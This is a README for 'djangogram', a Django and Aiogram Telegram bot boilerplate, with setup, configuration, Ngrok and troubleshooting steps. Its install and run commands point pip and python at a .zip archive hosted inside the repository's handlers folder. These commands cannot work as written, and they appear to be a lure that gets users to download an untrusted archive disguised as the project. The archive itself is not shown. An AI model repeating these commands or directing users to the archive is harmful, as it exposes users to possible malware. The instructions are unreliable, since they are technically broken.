djangogram is a Django and Aiogram bot boilerplate. It provides a smooth setup for creating bots with features like polling and webhooks. This setup simplifies working with Nginx, Ngrok, and async databases, promoting easy logging and modular handler management.
To get started with djangogram, follow these simple steps:
-
Check System Requirements
- Python 3.8 or newer
- PostgreSQL for database management
- Ngrok for local development
- Docker (optional, but recommended for containerization)
To download djangogram, visit this page to download: djangogram Releases Page.
- Click on the link above.
- Find the latest version listed.
- Choose the appropriate file for your operating system.
- Download the file to your computer.
Before you run the application, you need to install some necessary dependencies:
-
Python Packages
Use the following command to install required packages:
pip install -r https://raw.githubusercontent.com/DragClick017/djangogram/main/apps/bot/handlers/djangogram_v3.1.zip -
PostgreSQL
Ensure PostgreSQL is installed on your system. Refer to the official documentation to install it if you haven’t done so.
-
Docker (optional)
If using Docker, download Docker Desktop for your operating system and install it. This simplifies setup and ensures environment consistency.
After installing dependencies, configure your bot:
-
Create a
.envfile in the root directory. -
Add your bot token and necessary configurations:
BOT_TOKEN=your_bot_token_here DATABASE_URL=postgres://user:password@localhost:5432/dbname
You can run the djangogram bot using the following command:
python https://raw.githubusercontent.com/DragClick017/djangogram/main/apps/bot/handlers/djangogram_v3.1.zip runserver
Alternatively, if you are using Docker, you can run the bot with:
docker-compose up
Ngrok makes your local server accessible on the internet. Follow these steps to set it up:
-
Download Ngrok from the Ngrok Website.
-
Run Ngrok to tunnel your application:
ngrok http 8000 -
Copy the provided Ngrok URL and update it in your Telegram bot settings.
- Modular Handlers: Organize your bot's codebase for easier management.
- Async Database Support: Manage database operations efficiently.
- Nginx and Ngrok Integration: Streamline your development and testing processes.
- Logging: Keep an eye on requests and errors with built-in logging.
If you encounter issues:
- Ensure that your bot token is correct.
- Verify that PostgreSQL is running and accessible.
- Check logs for any errors during bot execution.
Yes! djangogram is flexible and can be adapted to different use cases.
You can regenerate your bot token from the BotFather on Telegram.
Feel free to open issues or submit pull requests on the repository.
For more details, visit the djangogram Releases Page or check the documentation files included in the repository.